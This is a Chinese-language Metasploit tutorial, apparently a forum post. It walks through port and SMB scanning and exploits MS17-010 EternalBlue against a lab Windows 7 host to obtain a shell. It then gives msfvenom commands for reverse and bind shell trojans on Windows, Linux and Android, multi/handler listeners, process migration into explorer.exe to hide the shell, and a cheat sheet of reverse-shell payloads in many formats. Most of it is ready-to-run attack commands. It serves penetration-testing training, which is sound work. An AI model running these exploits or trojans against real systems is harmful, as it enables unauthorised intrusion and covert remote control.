Metasploit基础
1. Metasploit前置知识
1.1 MetaSploit简介
Metasploit是⼀款开源安全漏洞检测⼯具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区 冠以“可以⿊掉整个宇宙”之名的强⼤渗透测试框架。
Metasploit渗透测试框架包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate⽤于软件更 新,建议使⽤前先进⾏更新,可以更新最新的漏洞库和利⽤代码。msfconsole是整个框架中最受欢迎的 模块,个⼈感觉也是功能强⼤的模块,所有的功能都可以该模块下运⾏。msfweb是Metasploit framework的web组件⽀持多⽤户,是Metasploit图形化接⼝。
msfconsole是MSF中最主要最常⽤的功能组件,使⽤集成化的使⽤⽅法,可以使⽤MSF中的所有命令和 模块,⽀持很多其它接⼝⽅式不⽀持的功能。
⾮kali环境下更新升级MSF:
kali环境下更新升级MSF:
由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不⽀持使⽤msfupdate命令更 新,更新的话需要随系统程序更新。在kali中更新MSF使⽤以下命令:
- apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可⽤的更
- 新,给出汇总报告)
- apt upgrade # 更新已安装的软件包,不删除旧包;
- apt full-upgrade # 升级包,删除旧包
复制代码
使⽤上⾯命令,是在更新系统程序的同时,把MSF更新。
1.2 启动 msfconsole
⽅式1:
- service postgresql start #开启 postgresql 数据库
- msfconsole #启动 msfconsole
复制代码
⽅式2:快捷启动命令(推荐)
- msfdb run #可以同时启动 postgresql 数据库和 msf
复制代码
1.3 MSF的功能模块介绍
MSF所⽤功能主要可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程
模块路径:/usr/share/metasploit-framework/modules/
漏洞利⽤(exploit):/usr/share/metasploit-framework/modules/exploits
payload模块路径::/usr/share/metasploit-framework/modules/payloads
2.实战-msf端⼝扫描
2.1 Metasploit
Metasploit中也有NMAP⼯具
- db_nmap sV 192.168.220.163
复制代码
2.2 端⼝扫描
除了nmap外,msf⾃带了端⼝扫描模块以供使⽤。相关命令如下:
- # 这些我们前⾯就学习过的TCP扫描相关内容,其他的是⼀些应⽤的扫描。
- # 查看配置项msf6
- use auxiliary/scanner/portscan/syn
- # 查看参数设置,yes为必填参数
- show options
- # 设置扫描的⽬标msf6
- set RHOSTS 192.168.220.163
- # 设置端⼝范围使⽤逗号隔开、
- set PORTS 80
- show options
- # 设置线程数msf6
- set THREADS 20
- run
复制代码
参数:
运行端口扫描:
2.3. SMB版本扫描
使⽤smb_version 基于SMB协议扫描版本号
- use auxiliary/scanner/smb/smb_version
- show options
- # 注:192.168.1.56后⾯的逗号和192.168.1.180之间是有空格的
- set RHOSTS 192.168.1.56, 192.168.1.180
- run
复制代码
扫描后获取的信息都会保存到当前数据库中,可使⽤hosts查看,相关命令如下:
3. 实战-使⽤msf渗透攻击ms17-010
环境
Windows7 IP:192.168.197.140
Linux KALI IP:192.168.197.135
3.1 使⽤辅助模块进⾏漏洞扫描
- ─# msfdb run #进⼊msf
- msf6 > search ms17_010
复制代码
使⽤模块,进⾏配置
- msf6 > use auxiliary/scanner/smb/smb_ms17_010 # 使⽤模块或者使⽤use 1
- show options # 查看配置
- set rhost 192.168.197.140 # 配置rhosts 受害者IP地址
- Required栏为yes的是我们需要配置的,no是可选项
复制代码
执⾏ / 开始攻击
注:有+号的就是可能存在漏洞的主机
3.2 切换Exploit模块进行利用
- serach ms17_010 # 搜索模块
- use exploit/windows/smb/ms17_010_eternalblue # 使⽤攻击模块
- show options # 查看配置
- set rhosts 192.168.197.140 # 设置受害者IP
- set lhost 192.168.197.135 #设置反弹ip 攻击机的IP默认指定就不用配置
- show targets #查看 exploit target ⽬标类型
- run
复制代码
- getuid 查看权限
- shell 进⼊终端
- 成功利⽤
复制代码
4.实战-利用msfvenom生成各种木马
4.1. Msfvenom常⽤命令参数
主要使⽤的是Msfvenom,这个需要在终端中执⾏,⽽不是在msf⾥⾯执⾏,msfvenom主要⽤于⽣成⽊⻢
- -l, --list <type> 列出指定模块的所有可⽤资源. 模块类型包括: payloads, encoders,nops,......all
- -p, --payload < payload> 指定需要使⽤的payload(攻击荷载)。也可以使⽤⾃定义payload,⼏乎是⽀持全平台的
- -f, --format < format> 指定输出格式
- -e, --encoder <encoder> 指定需要使⽤的encoder(编码器),指定需要使⽤的编码,如果既没⽤-e选项也没⽤-b选项,则输出raw payload
- -a, --arch < architecture> 指定payload的⽬标架构,例如x86 还是 x64 还是 x86_64
- -o, --out < path> 指定创建好的payload的存放位置
- -b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使⽤ '\x0f'、'\x00'
- -n, --nopsled < length> 为payload预先指定⼀个NOP滑动⻓度
- -s, --space < length> 设定有效攻击荷载的最⼤⻓度,就是⽂件⼤⼩
- -i, --iterations < count> 指定payload的编码次数
- -c, --add-code < path> 指定⼀个附加的win32 shellcode⽂件
- -x, --template < path> 指定⼀个⾃定义的可执⾏⽂件作为模板,并将payload嵌⼊其中
- -k, --keep 保护模板程序的动作,注⼊的payload作为⼀个新的进程运⾏
- -v, --var-name < value> 指定⼀个⾃定义的变量,以确定输出格式
- -t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁⽤)
- -h,--help 查看帮助选项
- --platform < platform> 指定payload的⽬标平台
复制代码
4.2 生成windows的反弹shell程序
kali⽣成⽊⻢
修改lhost 为kali攻击机的ip,lport 为kali攻击机的端⼝。
- msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.135 lport=4444 -f exe >rsec.exe
复制代码
kali攻击机开启监听
- use exploit/multi/handler
- set payload windows/x64/meterpreter/reverse_tcp #设置payload类型,与msfvenom中的类型要⼀致。
- set lhost 192.168.197.135 #设置主机地址
- set lport 4444 #设置端⼝号
- run
复制代码
对⽅执⾏程序之后就会把shell反弹过来
4.3. 生成windows的正向shell
生成
- msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f exe > bind_4444.exe
复制代码
下载到靶机或者拖到靶机里面
开启监听
- use exploit/multi/handler
- set payload windows/x64/meterpreter/bind_tcp #设置payload类型,与msfvenom中的类型要⼀致。
- set lport 4444
- set rhost 192.168.197.140 #设置靶机ip
- set autorunscript migrate -n explorer.exe #设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
- run
复制代码
4.4 生成linux正向、反向木马
1)linux反向
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.135 LPORT=4444 -f elf > shell.elf
复制代码
生成后放到靶机里
监听
- use exploit/multi/handler
- set payload linux/x86/meterpreter/reverse_tcp #设置payload类型,与msfvenom中的类型要⼀致。
- set lhost 192.168.220.141 #设置主机地址
- set lport 4444 #设置端⼝号
- run #开启监听
复制代码
2)linux正向
- msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf > shell4444.elf
复制代码
生成后放到靶机里
在靶机给木马加执行权限
执行后查看是否开启4444端口
- netstat -pantu |grep 4444
复制代码
监听
- use exploit/multi/handler
- #设置payload类型,与msfvenom中的类型要⼀致。
- set payload linux/x86/meterpreter/bind_tcp
- set lport 4444
- #设置靶机ip
- set rhost 192.168.197.141
- #设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
- set autorunscript migrate -n explorer.exe
- #执行
- run
复制代码
PS:监听不到把防火墙关了即可
4.5.安卓⻢
实验环境安卓7,且⽬前的安卓11以上⽆法直接安装。
V7.0.1.5版本介绍 | 夜神模拟器帮助中心 (yeshen.com)
V7.0.1.5版本整合了安卓9(64位)、安卓7(64位)、安卓7以及安卓5,玩家只需要下载V7.0.1.5版本,即可从多开器中创建任意版本。
⽣成反向安卓⻢
- msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.197.135 lport=5555 R > /root/apk.apk
复制代码
上传到模拟器
监听
- use exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set LHOST 192.168.197.135
- set LPORT 5555
复制代码
4.6. Payload类型
当我们在Metasploit中执⾏ show payloads 命令之后,它会给我们显示⼀个可使⽤的Payload列表:
⼏种常⻅的payload:
- windows/meterpreter/bind_tcp #正向连接
- windows/meterpreter/reverse_tcp #反向连接,常⽤
- windows/meterpreter/reverse_http #通过监听80端⼝反向连接
- windows/meterpreter/reverse_https #通过监听443端⼝反向连接
- linux/x86/meterpreter/bind_tcp #正向连接
- linux/x86/meterpreter/reverse_tcp #反向连接,常⽤#
- linux/x86/meterpreter_reverse_http #通过监听80端⼝反向连接
- linux/x86/meterpreter_reverse_https #通过监听443端⼝反向连接
复制代码
进⼊handler模块后通过set payload 按tab键补⻬可以查看需要的payload
- use exploit/multi/handler
- set payload linux/x86/
复制代码
5. msfvenom常⻅⽣成格式
1、 Windows
- msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.141 lport=4444 -f exe >rsec.exe
复制代码
2、Linux
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
复制代码
3、Mac
- msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
复制代码
4、Android
- msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
复制代码
5、Aspx
- msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
复制代码
6、JSP
- msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
复制代码
7、PHP
- msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
复制代码
8、BASH
- msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
复制代码
9、Python
- msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
复制代码
10、Shellcode
- //linux
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=444
- 4 --platform Linux -f c
- //windows
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -
- -platform Windows -f c
- //mac
- msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.53 LPORT=4444 --plat
- form osx -f c
复制代码